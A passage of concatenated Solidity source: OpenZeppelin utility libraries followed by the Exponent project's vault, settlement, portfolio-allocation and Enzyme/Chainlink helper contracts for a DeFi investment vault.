* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
// @title core application logic and API for trade submissions
abstract contract XPNSettlement {
event SubmitTradeOrders(address indexed, bytes[], address[]);
event Lend(address indexed, bytes, address);
event Redeem(address indexed, bytes, address);
// actions taken on liquidity or lending pool
enum Pool {
LEND,
REDEEM
}
// @notice submit multiple trade orders
// @param _trades array of ABI encoded trades to submit
// @param _venues array of trading venues address
// @dev each order based on corresponding index of the input
function _submitTradeOrders(
bytes[] calldata _trades,
address[] memory _venues
) internal virtual returns (bool) {
require(
_venues.length == _trades.length,
"TradeSettlement: trade submissions input length not equal"
);
for (uint8 i = 0; i < _trades.length; i++) {
require(
_venueIsWhitelisted(_venues[i]),
"XPNSettlement: venue is not whitelisted"
);
bool success = _submitTrade(_trades[i], _venues[i]);
require(success, "XPNSettlement: a trade did not execute");
}
emit SubmitTradeOrders(msg.sender, _trades, _venues);
return true;
}
// @notice submit multiple pool orders
// @param _orders array of ABI encoded trades to submit
// @param _txTypes array of order type, either redeem or lend
// @param _venues array of trading venues address
// @dev each order based on corresponding index of the input
function _submitPoolOrders(
bytes[] calldata _orders,
Pool[] calldata _txTypes,
address[] memory _venues
) internal virtual returns (bool) {
require(
_orders.length == _txTypes.length &&
_orders.length == _venues.length,
"TradeSettlement: pool submissions input length not equal"
);
for (uint8 i = 0; i < _orders.length; i++) {
require(
_venueIsWhitelisted(_venues[i]),
"XPNSettlement: venue is not whitelisted"
);
bool success = _txTypes[i] == Pool.LEND
? _lend(_orders[i], _venues[i])
: _redeem(_orders[i], _venues[i]);
require(success, "XPNSettlement: a trade did not execute");
}
return true;
}
// @notice submit lending order to lending protocol
// @param _order ABI encoded lending arguements to submit
// @param _venue trading venue address
function _lend(bytes calldata _order, address _venue)
private
returns (bool)
{
bool success = _submitLending(_order, _venue);
emit Lend(msg.sender, _order, _venue);
return success;
}
// @notice submit redemption order from lending protocol
// @param _order ABI encoded redemption arguements to submit
// @param _venue trading venue address
function _redeem(bytes calldata _order, address _venue)
private
returns (bool)
{
bool success = _submitRedemption(_order, _venue);
emit Redeem(msg.sender, _order, _venue);
return success;
}
function _submitTrade(bytes calldata _trade, address _venue)
internal
virtual
returns (bool)
{}
function _submitLending(bytes calldata _order, address _venue)
internal
virtual
returns (bool)
{}
function _submitRedemption(bytes calldata _order, address _venue)
internal
virtual
returns (bool)
{}
function _venueIsWhitelisted(address _venue)
internal
view
virtual
returns (bool)
{}
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
import "./interface/AggregatorV3Interface.sol";
import "./interface/enzyme/IComptroller.sol";
import "./interface/enzyme/IPolicyManager.sol";
library XPNUtils {
int256 public constant ONE = 1e18;
int256 public constant chainlinkONE = 1e8;
// @notice enzyme fees ID for fees invocation
uint256 constant FEE_INVOCATION = 0;
// @notice enzyme fees ID for fees payout
uint256 constant FEE_PAYOUT = 0;
// @notice enzyme ID for removing tracked asset
uint256 constant REMOVE_TRACKED = 2;
// @notice enzyme ID for adding tracked asset
uint256 constant ADD_TRACKED = 1;
function compareStrings(string memory first, string memory second)
public
pure
returns (bool)
{
return (keccak256(abi.encodePacked((first))) ==
keccak256(abi.encodePacked((second))));
}
function parseChainlinkPrice(address _feed) external view returns (int256) {
AggregatorV3Interface priceFeed = AggregatorV3Interface(_feed);
(
uint80 roundID,
int256 price,
,
uint256 timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp != 0, "Chainlink: round is not complete");
require(answeredInRound >= roundID, "Chainlink: stale data");
require(price != 0, "Chainlink: returned 0");
int256 priceScaled = (price * ONE) / int256(10)**priceFeed.decimals();
return priceScaled;
}
function buyEnzymeShares(address _comptroller, uint256 _amount)
external
returns (uint256)
{
address[] memory buyer = new address[](1);
uint256[] memory amount = new uint256[](1);
uint256[] memory expect = new uint256[](1);
buyer[0] = address(this);
amount[0] = _amount;
expect[0] = 1;
uint256[] memory sharesBought = IComptroller(_comptroller).buyShares(
buyer, // this contract as a single buyer
amount, // amount of shares to purchase
expect // expect at least 1 share
);
return sharesBought[0]; // should have bought only a single share amount
}
function redeemEnzymeShares(address _comptroller, uint256 _amount)
external
returns (address[] memory, uint256[] memory)
{
address[] memory additionalAssets = new address[](0);
address[] memory assetsToSkip = new address[](0);
return
IComptroller(_comptroller).redeemSharesDetailed(
_amount, // quantity of shares to redeem
additionalAssets, // no additional assets
assetsToSkip // don't skip any assets
);
}
// @dev performs 2 actions: settle current fee on Enzyme vault and mint
// new shares to vault owner representing accrued fees
function invokeAndPayoutEnzymeFees(
address _comptroller,
address _feeManager,
address[] memory _fees
) external {
// calculate and settle the current fees accrued on the fund
IComptroller(_comptroller).callOnExtension(
_feeManager,
FEE_INVOCATION, // 0 is action ID for invoking fees
""
);
// payout the outstanding shares to enzyme vault owner (this contract)
IComptroller(_comptroller).callOnExtension(
_feeManager,
FEE_PAYOUT, // 1 is action ID for payout of outstanding shares
abi.encode(_fees) // payout using all the fees available ie. performance and management fee
);
}
// @notice declare self as the sole depositor of the enzyme vault contract
// @dev address(this) is called in the execution context of the caller
function enforceSoleEnzymeDepositor(
address _comptroller,
address _policyManager,
address _whitelistPolicy
) external {
address[] memory buyersToAdd = new address[](1);
address[] memory buyersToRemove = new address[](0);
buyersToAdd[0] = address(this);
IPolicyManager(_policyManager).enablePolicyForFund(
_comptroller,
_whitelistPolicy,
abi.encode(buyersToAdd, buyersToRemove)
);
}
function addEnzymeTrackedAsset(
address _comptroller,
address _integrationManager,
address _asset
) external {
address[] memory assets = new address[](1);
assets[0] = _asset;
bytes memory addTrackedArgs = abi.encode(assets);
IComptroller(_comptroller).callOnExtension(
_integrationManager,
ADD_TRACKED,
abi.encode(assets)
);
}
function removeEnzymeTrackedAsset(
address _comptroller,
address _integrationManager,
address _asset
) external {
address[] memory assets = new address[](1);
assets[0] = _asset;
bytes memory removeTrackedArgs = abi.encode(assets);
IComptroller(_comptroller).callOnExtension(
_integrationManager,
REMOVE_TRACKED,
abi.encode(assets)
);
}
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./LPToken.sol";
// @title core application logic for vault
// @notice to be inherited by the implementation contract for added functionality
// @dev deposit/ withdraw hooks and calculation must be overridden
abstract contract XPNVault {
using SafeERC20 for IERC20;
// @notice LP tokens should track Enzyme shares 1-1 through deposit and withdraw
LPToken public lptoken;
event Deposit(address indexed _depositor, uint256 _amount);
event Withdraw(
address indexed _withdrawer,
address[] _payoutAssets,
uint256[] _payoutAmount
);
constructor(string memory _lpname, string memory _lpsymbol) {
lptoken = new LPToken(_lpname, _lpsymbol);
}
// @notice deposit denominated asset into the contract
// @param _amount amount to be deposited
// @dev denominated asset must be approved first
// @return minted amount of LP tokens minted
function _deposit(uint256 _amount) internal returns (uint256 minted) {
IERC20 denomAsset = IERC20(_getDenomAssetAddress());
require(_amount > 0, "Vault: _amount cant be zero");
uint256 before = denomAsset.balanceOf(_getSharesAddress());
require(
denomAsset.balanceOf(msg.sender) >= _amount,
"Vault: not enough balance to deposit"
);
denomAsset.safeTransferFrom(msg.sender, address(this), _amount);
minted = _depositHook(_amount);
require(
denomAsset.balanceOf(_getSharesAddress()) >= (before + _amount),
"Vault: incorrect balance after deposit"
);
lptoken.mint(msg.sender, minted);
emit Deposit(msg.sender, _amount);
return minted;
}
// @notice redeem LP token share for denominated asset
// @notice currently withdraw basket of tokens to user
// @param _amount amount of LP token to be redeemed
// @dev LP token must be approved first
// @return payoutAssets array of the asset to payout
// @return payoutAmounts array of the amount to payout
function _withdraw(uint256 _amount)
internal
returns (address[] memory payoutAssets, uint256[] memory payoutAmounts)
{
require(_amount > 0, "Vault: _amount cant be zero");
require(
lptoken.balanceOf(msg.sender) >= _amount,
"Vault: not enough lptoken to withdraw"
);
lptoken.burn(msg.sender, _amount); // burn user's lp balance without intermediate transferFrom
(payoutAssets, payoutAmounts) = _withdrawHook(_amount);
bool result = _doWithdraw(msg.sender, payoutAssets, payoutAmounts);
require(result, "Vault: unsuccessful transfer to withdrawer");
return (payoutAssets, payoutAmounts);
}
// @notice redeem enzyme transaction fee enzyme vault to admin address
// @param _feeManager address of the enzyme fee manager contract
// @param _fees array of fee contract addresses
// @return payoutAssets array of the asset to payout
// @return payoutAmounts array of the amount to payout
// @dev fees are in the form of enzyme shares inflation, the difference in total shares supply and withdraw
function _redeemFees(address _feeManager, address[] calldata _fees)
internal
returns (address[] memory payoutAssets, uint256[] memory payoutAmounts)
{
_redeemFeesHook(_feeManager, _fees);
address shares = _getSharesAddress();
// the redeemFeesHook is expected to inflate the enzyme shares of the enzyme vault manager (this contract)
// at this point, the exponent vault holds shares of its users as well as shares representing accrued fees.
// the difference between this contract's enzyme shares and exponent vault tokens represents
// the amount of fees owed to exponent vault's admin
uint256 collectedFees = IERC20(shares).balanceOf(address(this)) -
lptoken.totalSupply();
require(collectedFees > 0, "_redeemFees: no fee shares available");
(payoutAssets, payoutAmounts) = _withdrawHook(collectedFees);
bool result = _doWithdraw(
_getAdminAddress(),
payoutAssets,
payoutAmounts
);
require(result, "Vault: unsuccessful redemption");
}
// @dev transfer each asset back to recipient, this is one additional transfer for each asset on top of Enzyme's
function _doWithdraw(
address recipient,
address[] memory payoutAssets,
uint256[] memory payoutAmounts
) private returns (bool) {
for (uint8 i = 0; i < payoutAssets.length; i++) {
IERC20(payoutAssets[i]).safeTransfer(recipient, payoutAmounts[i]);
}
// won't verify that that payout assets is calculated correctly due to gas cost of tracking multiple payouts
emit Withdraw(recipient, payoutAssets, payoutAmounts);
return true;
}
// @notice internal functions to be overriden by implementor contract
// @notice deposit asset into enzyme contract, returns the amount of minted shares
function _depositHook(uint256 _amount) internal virtual returns (uint256) {}
// @notice get the enzyme shares address
function _getSharesAddress() internal view virtual returns (address) {}
// @notice get the denominated asset address
function _getDenomAssetAddress() internal virtual returns (address) {}
// @notice get the admin address
function _getAdminAddress() internal virtual returns (address) {}
// @notice withdraw assets from enzyme contract
function _withdrawHook(uint256 _amount)
internal
virtual
returns (address[] memory, uint256[] memory)
{}
// @notice redeem fees from enzyme
function _redeemFeesHook(address _feeManager, address[] memory _fees)
internal
virtual
{}
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
import "./XPNUtils.sol";
import "hardhat/console.sol";
import "./interface/ISignal.sol";
import "./XPNSignalMath.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
// @notice portfolio module.
abstract contract XPNPortfolio {
using XPNSignalMath for int256[];
int256 constant ONE = 1e18;
function _getVaultAddress() internal view virtual returns (address) {}
function _getExpectedEfficiency() internal view virtual returns (int256) {}
function _getSignal() internal view virtual returns (int256[] memory) {}
function _getSignalSymbols()
internal
view
virtual
returns (string[] memory)
{}
function _getSymbolToToken(string memory _symbol)
internal
view
virtual
returns (address)
{}
// @dev assume 18 decimal
function _getTokenPrice(address _asset)
internal
view
virtual
returns (int256)
{}
function _getDenomAssetSymbol()
internal
view
virtual
returns (string memory)
{}
// @notice list balance of each erc20 token in vault based on target signal asset list
// @dev use signal meta data as reference to fetch. will not fetch token that not in signal.
// @return int256 array of balance of each erc20
function _viewPortfolioToken()
internal
view
virtual
returns (int256[] memory)
{
/*
return amount of each asset. (in token)
*/
string[] memory symbols = _getSignalSymbols();
int256[] memory tokens = new int256[](symbols.length);
for (uint256 i = 0; i < symbols.length; i++) {
IERC20Metadata tmpToken = IERC20Metadata(
_getSymbolToToken(symbols[i])
);
uint256 tokenDecimals = uint256(tmpToken.decimals());
int256 rawBalance = int256(tmpToken.balanceOf(_getVaultAddress()));
int256 convertedBalance = (rawBalance * ONE) /
int256(10**tokenDecimals);
tokens[i] = int256(convertedBalance);
}
return tokens;
}
// @notice list token price in denominated asset of each erc20 token in vault based on target signal asset list
// @dev use signal meta data as reference to fetch. will not fetch token that not in signal.
//assume correct price feed. (correct base and quote asset)
// @return int256 array of price of each erc20 in denominated asset
function _getTokensPrice() internal view virtual returns (int256[] memory) {
string[] memory symbols = _getSignalSymbols();
int256[] memory prices = new int256[](symbols.length);
// resolves symbol to asset token
for (uint256 i; i < symbols.length; i++) {
string memory symbol = symbols[i];
if (XPNUtils.compareStrings(symbol, _getDenomAssetSymbol())) {
prices[i] = ONE;
continue;
}
int256 price = _getTokenPrice(_getSymbolToToken(symbol));
prices[i] = price;
}
return prices;
}
// @notice list value of each erc20 token in vault based on target signal asset list
// @dev use signal meta data as reference to fetch. will not fetch token that not in signal.
// @return int256 array value of each asset. (in denominated asset)
function _viewPortfolioMixValue() internal view returns (int256[] memory) {
/*
return value of each asset. (in denominated asset)
*/
return _viewPortfolioToken().elementWiseMul(_getTokensPrice());
}
// @notice calculate current % allocation of vault.
// @dev 100% = 1e18
// @return int256 array % allocation of each asset
function _viewPortfolioAllocation()
internal
view
returns (int256[] memory)
{
/*
return allocation of each asset. (in % of portfolio) - sum = 1e18
*/
require(_portfolioValue() > 0, "vault is empty");
return _viewPortfolioMixValue().normalize();
}
// @notice calculate different between current portfolio position and target from signal in % term
// @dev 100% = 1e18
// @return int256 array % different from target for each asset (directional)
function _signalPortfolioDiffAllocation()
internal
view
returns (int256[] memory)
{
/*
get different in % allocation between master signal and current portfolio allocation
*/
require(_portfolioValue() > 0, "vault is empty");
return
_getSignal().normalize().elementWiseSub(_viewPortfolioAllocation());
}
// @notice calculate different between current portfolio position and target from signal in denominated asset value
// @dev 100% = 1e18
// @return int256 array denominated asset value different from target for each asset (directional)
function _signalPortfolioDiffValue()
internal
view
returns (int256[] memory)
{
/*
get different in value allocation between master signal and current portfolio allocation
*/
require(_portfolioValue() > 0, "vault is empty");
return _signalPortfolioDiffAllocation().vectorScale(_portfolioValue());
}
// @notice calculate different between current portfolio position and target from signal
// in balance of coresponding erc20
// @dev 100% = 1e18.
// @return int256 array balance different from target for each asset (directional)
function _signalPortfolioDiffToken()
internal
view
returns (int256[] memory)
{
/*
get different in token allocation between master signal and current portfolio allocation
*/
require(_portfolioValue() > 0, "vault is empty");
return _signalPortfolioDiffValue().elementWiseDiv(_getTokensPrice());
}
// @notice value of portfolio in denominated asset.
// @dev only track asset that in signal list. for more reliable and complete view. pls use enzyme's
// @return int256 portfolio value
function _portfolioValue() internal view virtual returns (int256 value) {
/*
porfolio value in usd
*/
value = _viewPortfolioMixValue().sum();
}
// @notice distance between current portfolio and target signal in % term
// @dev 100% = 1e18.distance between target vs current portfolio allocation (how much value needed to be move)
// calculate as sum(token-wise diff)/ 2
// @return int256 distance
function _signalPortfolioDiffPercent()
internal
view
virtual
returns (int256 distance)
{
require(_portfolioValue() > 0, "vault is empty");
distance = _signalPortfolioDiffAllocation().l1Norm() / 2;
}
// @notice verification modifier that reverts if operations result does not improve distance
//or cause higher than expected loss
modifier ensureTrade() {
int256 preTradeValue = _portfolioValue();
int256 preTradeDistance = _signalPortfolioDiffPercent();
_;
int256 distanceImproved = preTradeDistance -
_signalPortfolioDiffPercent();
int256 valueLoss = preTradeValue - _portfolioValue();
int256 expectedLoss = (((preTradeValue * distanceImproved) / ONE) *
(ONE - _getExpectedEfficiency())) / ONE;
require(
distanceImproved > 0 && valueLoss < expectedLoss,
"trade requirement not satisfied"
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
